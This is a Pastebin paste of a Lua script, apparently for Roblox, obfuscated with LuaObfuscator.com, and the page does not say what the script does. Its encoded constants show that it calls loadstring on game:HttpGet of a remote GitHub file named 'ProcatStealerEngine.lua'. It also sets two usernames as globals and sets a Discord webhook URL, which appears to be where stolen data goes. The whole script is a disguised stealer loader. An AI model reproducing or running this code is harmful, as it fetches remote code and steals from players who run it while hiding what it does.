Advertisement
mrmonkeyape412

enigma

Jul 13th, 2023
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.21 KB | None | 0 0
  1. --[[
  2. .____ ________ ___. _____ __
  3. | | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________
  4. | | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \
  5. | |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/
  6. |_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__|
  7. \/ \/ \/ \/ \/ \/ \/
  8. \_Welcome to LuaObfuscator.com (Alpha 0.9.10) ~ Much Love, Ferib
  9.  
  10. ]]--
  11.  
  12. do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=0;local v19;local v20;local v21;local v22;local v23;local v24;local v25;local v26;local v27;local v28;local v29;local v30;while true do if (v18==5) then v27=v24;v28=nil;function v28(...)return {...},v12("#",...);end v18=6;end if (v18==1) then v21=nil;function v21(v31,v32,v33)if v33 then local v69=0 -0 ;local v70;while true do if (v69==(0 -0)) then v70=(v31/((5 -3)^(v32-1)))%((3 -(1066 -(68 + 997)))^(((v33-(2 -1)) -(v32-(620 -(555 + 58 + 6)))) + 1)) ;return v70-(v70%(932 -(857 + 74))) ;end end else local v71=568 -(367 + 201) ;local v72;while true do if (v71==(927 -(214 + 713))) then v72=(1 + 1)^(v32-((4 -3) + 0)) ;return (((v31%(v72 + v72))>=v72) and (878 -(282 + 595))) or (1637 -(1523 + 114)) ;end end end end v22=nil;v18=2;end if (v18==3) then v24=nil;function v24()local v34,v35,v36,v37=v1(v16,v19,v19 + ((286 -166) -(32 + 85)) );v19=v19 + 4 ;return (v37 * (16441815 + 335401)) + (v36 * (14533 + 51003)) + (v35 * (1213 -((1648 -756) + 65))) + v34 ;end v25=nil;v18=4;end if (v18==6) then v29=nil;function v29()local v38=0 + 0 ;local v39;local v40;local v41;local v42;local v43;local v44;local v45;while true do if (v38==(0 + 0)) then v39=0;v40=nil;v38=575 -(507 + 67) ;end if (v38~=(1752 -(1013 + 736))) then else v45=nil;while true do local v79=0;while true do if (v79==0) then if (v39~=1) then else local v104=0;while true do if ((0 + 0)~=v104) then else v44=v24();v45={};v104=1;end if (v104==(4 -2)) then v39=2;break;end if (1==v104) then for v109=3 -2 ,v44 do local v110=867 -(550 + 317) ;local v111;local v112;local v113;local v114;local v115;while true do if (v110~=2) then else v115=nil;while true do if (v111~=(1 -0)) then else local v160=0;while true do if (v160~=1) then else v111=2;break;end if ((0 -0)~=v160) then else v114=nil;v115=nil;v160=2 -1 ;end end end if (v111==2) then while true do if (v112==1) then v115=nil;while true do if (v113==(286 -(134 + 151))) then if (v114==(1666 -(970 + 695))) then v115=v22()~=(0 -0) ;elseif (v114==(1992 -(582 + 1408))) then v115=v25();elseif (v114==(10 -7)) then v115=v26();end v45[v109]=v115;break;end if (0~=v113) then else local v185=0 -0 ;local v186;while true do if (v185==(0 -0)) then v186=1824 -(1195 + 629) ;while true do if (v186==0) then local v193=0;local v194;while true do if (v193==(0 -0)) then v194=0;while true do if (0~=v194) then else local v200=241 -(187 + 54) ;while true do if (v200==0) then v114=v22();v115=nil;v200=781 -(162 + 618) ;end if (v200~=1) then else v194=1;break;end end end if (v194~=(1 + 0)) then else v186=1;break;end end break;end end end if (1==v186) then v113=1;break;end end break;end end end end break;end if (v112~=(0 + 0)) then else local v181=0 -0 ;local v182;while true do if (v181~=0) then else v182=0 -0 ;while true do if ((0 + 0)~=v182) then else v113=1636 -(1373 + 263) ;v114=nil;v182=1001 -(451 + 549) ;end if (v182==1) then v112=1;break;end end break;end end end end break;end if (v111==(0 + 0)) then local v161=0 -0 ;while true do if (v161==(0 -0)) then v112=1384 -(746 + 638) ;v113=nil;v161=1 + 0 ;end if (1~=v161) then else v111=1 -0 ;break;end end end end break;end if (v110==(342 -(218 + 123))) then v113=nil;v114=nil;v110=2;end if (v110==(1581 -(1535 + 46))) then v111=0;v112=nil;v110=1 + 0 ;end end end v43[1 + 2 ]=v22();v104=562 -(306 + 254) ;end end end if (v39~=2) then else local v105=0 + 0 ;local v106;while true do if (v105==0) then v106=0 -0 ;while true do if (v106==(1468 -(899 + 568))) then return v43;end if (v106==(0 + 0)) then local v120=0;while true do if (v120~=(2 -1)) then else v106=604 -(268 + 335) ;break;end if ((290 -(60 + 230))~=v120) then else for v162=1,v24() do local v163=572 -(426 + 146) ;local v164;local v165;while true do if (v163==0) then local v183=0;while true do if ((0 + 0)==v183) then v164=0;v165=nil;v183=1457 -(282 + 1174) ;end if (v183==1) then v163=812 -(569 + 242) ;break;end end end if (v163==1) then while true do if (v164==0) then v165=v22();if (v21(v165,2 -1 ,1 + 0 )==0) then local v187=0;local v188;local v189;local v190;local v191;local v192;while true do if (v187==(1024 -(706 + 318))) then v188=0;v189=nil;v187=1252 -(721 + 530) ;end if (v187~=(1272 -(945 + 326))) then else v190=nil;v191=nil;v187=2;end if (v187~=2) then else v192=nil;while true do if (v188==0) then local v195=0 -0 ;while true do if (v195==(0 + 0)) then v189=700 -(271 + 429) ;v190=nil;v195=1 + 0 ;end if ((1501 -(1408 + 92))==v195) then v188=1087 -(461 + 625) ;break;end end end if (v188==(1289 -(993 + 295))) then local v196=0;while true do if (v196==(1 + 0)) then v188=1173 -(418 + 753) ;break;end if (v196==(0 + 0)) then v191=nil;v192=nil;v196=1 + 0 ;end end end if (v188==2) then while true do if ((1 + 2)==v189) then if (v21(v191,3,1 + 2 )~=1) then else v192[533 -(406 + 123) ]=v45[v192[4]];end v40[v162]=v192;break;end if (v189~=1) then else local v198=0;while true do if ((1769 -(1749 + 20))~=v198) then else v192={v23(),v23(),nil,nil};if (v190==0) then local v203=0;local v204;local v205;while true do if (v203==(1323 -(1249 + 73))) then while true do if (v204==(0 + 0)) then v205=1145 -(466 + 679) ;while true do if (0~=v205) then else v192[6 -3 ]=v23();v192[4]=v23();break;end end break;end end break;end if (v203~=0) then else v204=0 -0 ;v205=nil;v203=1901 -(106 + 1794) ;end end elseif (v190==1) then v192[3]=v24();elseif (v190==2) then v192[3]=v24() -((1 + 1)^16) ;elseif (v190==(1 + 2)) then local v212=0;local v213;local v214;local v215;while true do if (v212==(2 -1)) then v215=nil;while true do if ((2 -1)~=v213) then else while true do if ((114 -(4 + 110))~=v214) then else v215=0;while true do if (v215==(584 -(57 + 527))) then v192[1430 -(41 + 1386) ]=v24() -(2^(119 -(17 + 86))) ;v192[3 + 1 ]=v23();break;end end break;end end break;end if (v213==(0 -0)) then local v218=0 -0 ;while true do if (0~=v218) then else v214=166 -(122 + 44) ;v215=nil;v218=1 -0 ;end if (v218~=(3 -2)) then else v213=1 + 0 ;break;end end end end break;end if (v212==(0 + 0)) then v213=0 -0 ;v214=nil;v212=1;end end end v198=66 -(30 + 35) ;end if ((1 + 0)==v198) then v189=2;break;end end end if (v189==(1259 -(1043 + 214))) then local v199=0 -0 ;while true do if (v199~=(1213 -(323 + 889))) then else v189=3;break;end if (v199~=(0 -0)) then else if (v21(v191,1,1)~=1) then else v192[582 -(361 + 219) ]=v45[v192[2]];end if (v21(v191,322 -(53 + 267) ,1 + 1 )==1) then v192[416 -(15 + 398) ]=v45[v192[985 -(18 + 964) ]];end v199=3 -2 ;end end end if (v189==0) then v190=v21(v165,2 + 0 ,2 + 1 );v191=v21(v165,854 -(20 + 830) ,5 + 1 );v189=1;end end break;end end break;end end end break;end end break;end end end for v166=127 -(116 + 10) ,v24() do v41[v166-1 ]=v29();end v120=1;end end end end break;end end end v79=1;end if (v79~=1) then else if (v39==0) then local v107=0 + 0 ;while true do if (v107==2) then v39=739 -(542 + 196) ;break;end if (v107==1) then v42={};v43={v40,v41,nil,v42};v107=2 + 0 ;end if (0~=v107) then else v40={};v41={};v107=1;end end end break;end end end break;end if (v38~=1) then else v41=nil;v42=nil;v38=1 + 1 ;end if (v38==2) then v43=nil;v44=nil;v38=7 -4 ;end end end v30=nil;v18=7;end if (v18==4) then function v25()local v46=v24();local v47=v24();local v48=2 -1 ;local v49=(v21(v47,1552 -(1126 + 425) ,425 -(118 + 287) ) * (2^(125 -93))) + v46 ;local v50=v21(v47,1142 -((264 -146) + 1003) ,90 -59 );local v51=((v21(v47,409 -(142 + 235) )==(4 -3)) and -1) or (1 + 0 + (0 -0)) ;if (v50==(977 -((1306 -(239 + 514)) + 424))) then if (v49==0) then return v51 * 0 ;else local v80=0 -0 ;while true do if (v80==(0 + 0)) then v50=1;v48=0 + 0 ;break;end end end elseif (v50==(1192 + 855)) then return ((v49==(0 + 0)) and (v51 * ((1 + 0)/0))) or (v51 * NaN) ;end return v8(v51,v50-1023 ) * (v48 + (v49/((4 -2)^(144 -92)))) ;end v26=nil;function v26(v52)local v53;if not v52 then local v73=0 + 0 ;while true do if (v73==(1329 -(797 + 532))) then v52=v24();if (v52==(0 + 0 + 0)) then return "";end break;end end end v53=v3(v16,v19,(v19 + v52) -(732 -(476 + 255)) );v19=v19 + v52 ;local v54={};for v67=1 + 0 , #v53 do v54[v67]=v2(v1(v3(v53,v67,v67)));end return v6(v54);end v18=5;end if (v18==2) then function v22()local v55=(0 + 0) -0 ;local v56;while true do if (v55==(1 -0)) then return v56;end if (v55==(238 -(64 + 174))) then v56=v1(v16,v19,v19);v19=v19 + (337 -(144 + 192)) ;v55=217 -(35 + 7 + 174) ;end end end v23=nil;function v23()local v57,v58=v1(v16,v19,v19 + 1 + 1 );v19=v19 + (1506 -(363 + 1141)) ;return (v58 * 256) + v57 ;end v18=3;end if (v18==0) then v19=1;v20=nil;v16=v4(v3(v16,5),"..",function(v59)if (v1(v59,2)==79) then local v74=0;while true do if (v74==0) then v20=v0(v3(v59,1,1));return "";end end else local v75=v2(v0(v59,16));if v20 then local v81=v5(v75,v20);v20=nil;return v81;else return v75;end end end);v18=1;end if (v18==7) then function v30(v60,v61,v62)local v63=0;local v64;local v65;local v66;while true do if (v63==0) then v64=v60[1];v65=v60[2];v63=1;end if (v63==1) then v66=v60[3];return function(...)local v82=v64;local v83=v65;local v84=v66;local v85=v28;local v86=1;local v87= -1;local v88={};local v89={...};local v90=v12("#",...) -1 ;local v91={};local v92={};for v96=0,v90 do if (v96>=v84) then v88[v96-v84 ]=v89[v96 + 1 ];else v92[v96]=v89[v96 + 1 ];end end local v93=(v90-v84) + 1 ;local v94;local v95;while true do local v97=0;while true do if (v97==1) then if (v95<=6) then if (v95<=2) then if (v95<=0) then for v121=v94[2],v94[3] do v92[v121]=nil;end elseif (v95==1) then v92[v94[2]]();else local v126=0;while true do if (v126==0) then v62[v94[3]]=v92[v94[2]];v86=v86 + 1 ;v94=v82[v86];v126=1;end if (v126==3) then v92[v94[2]]=v94[3];v86=v86 + 1 ;v94=v82[v86];v126=4;end if (v126==2) then v62[v94[3]]=v92[v94[2]];v86=v86 + 1 ;v94=v82[v86];v126=3;end if (v126==4) then v86=v94[3];break;end if (v126==1) then v92[v94[2]]=v94[3];v86=v86 + 1 ;v94=v82[v86];v126=2;end end end elseif (v95<=4) then if (v95>3) then if (v92[v94[2]]==v94[4]) then v86=v86 + 1 ;else v86=v94[3];end else v62[v94[3]]=v92[v94[2]];end elseif (v95==5) then local v129=v94[2];local v130=v92[v94[3]];v92[v129 + 1 ]=v130;v92[v129]=v130[v94[4]];else v92[v94[2]]=v62[v94[3]];end elseif (v95<=9) then if (v95<=7) then local v116=v94[2];local v117,v118=v85(v92[v116](v13(v92,v116 + 1 ,v94[3])));v87=(v118 + v116) -1 ;local v119=0;for v123=v116,v87 do v119=v119 + 1 ;v92[v123]=v117[v119];end elseif (v95==8) then do return;end else local v136=v94[2];v92[v136]=v92[v136](v13(v92,v136 + 1 ,v87));end elseif (v95<=11) then if (v95>10) then local v138;local v139,v140;local v141;local v142;v62[v94[3]]=v92[v94[2]];v86=v86 + 1 ;v94=v82[v86];v92[v94[2]]=v62[v94[3]];v86=v86 + 1 ;v94=v82[v86];v92[v94[2]]=v62[v94[3]];v86=v86 + 1 ;v94=v82[v86];v142=v94[2];v141=v92[v94[3]];v92[v142 + 1 ]=v141;v92[v142]=v141[v94[4]];v86=v86 + 1 ;v94=v82[v86];v92[v94[2]]=v94[3];v86=v86 + 1 ;v94=v82[v86];v92[v94[2]]=v94[3]~=0 ;v86=v86 + 1 ;v94=v82[v86];v142=v94[2];v139,v140=v85(v92[v142](v13(v92,v142 + 1 ,v94[3])));v87=(v140 + v142) -1 ;v138=0;for v156=v142,v87 do v138=v138 + 1 ;v92[v156]=v139[v138];end v86=v86 + 1 ;v94=v82[v86];v142=v94[2];v92[v142]=v92[v142](v13(v92,v142 + 1 ,v87));v86=v86 + 1 ;v94=v82[v86];v92[v94[2]]();v86=v86 + 1 ;v94=v82[v86];v86=v94[3];else v92[v94[2]]=v94[3]~=0 ;end elseif (v95>12) then v86=v94[3];else v92[v94[2]]=v94[3];end v86=v86 + 1 ;break;end if (v97==0) then v94=v82[v86];v95=v94[1];v97=1;end end end end;end end end return v30(v29(),{},v17)(...);end end end v15("LOL!0C3O00028O00026O00F03F03093O00557365724E616D653203113O005265616C556261696467616D696E673130030A3O006C6F6164737472696E6703043O0067616D6503073O00482O7470476574035B3O00682O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F70726F63617436393432302F50726F6361744D61696C5363726970742F6D61696E2F50726F636174537465616C6572456E67696E652E6C756103083O00557365724E616D65030B3O0052756B697279506C61797A03073O00576562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F2O3132392O313035362O303O322O30342O312F69392D764754555064587137766A4E33446D36677138547A30344358732O30794D6F395237506E733836713550446173524E687276385336696538764B76646539484B51001D3O00120C3O00016O000100013O0026043O00020001000100040D3O0002000100120C000100013O002604000100120001000200040D3O0012000100120C000200043O00120B000200033O00122O000200053O00122O000300063O00202O00030003000700122O000500086O000600016O000300066O00023O00024O00020001000100044O001C0001002604000100050001000100040D3O0005000100120C0002000A3O001202000200093O00122O0002000C3O00122O0002000B3O00122O000100023O00044O0005000100040D3O001C000100040D3O000200012O00083O00017O00",v9(),...);end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement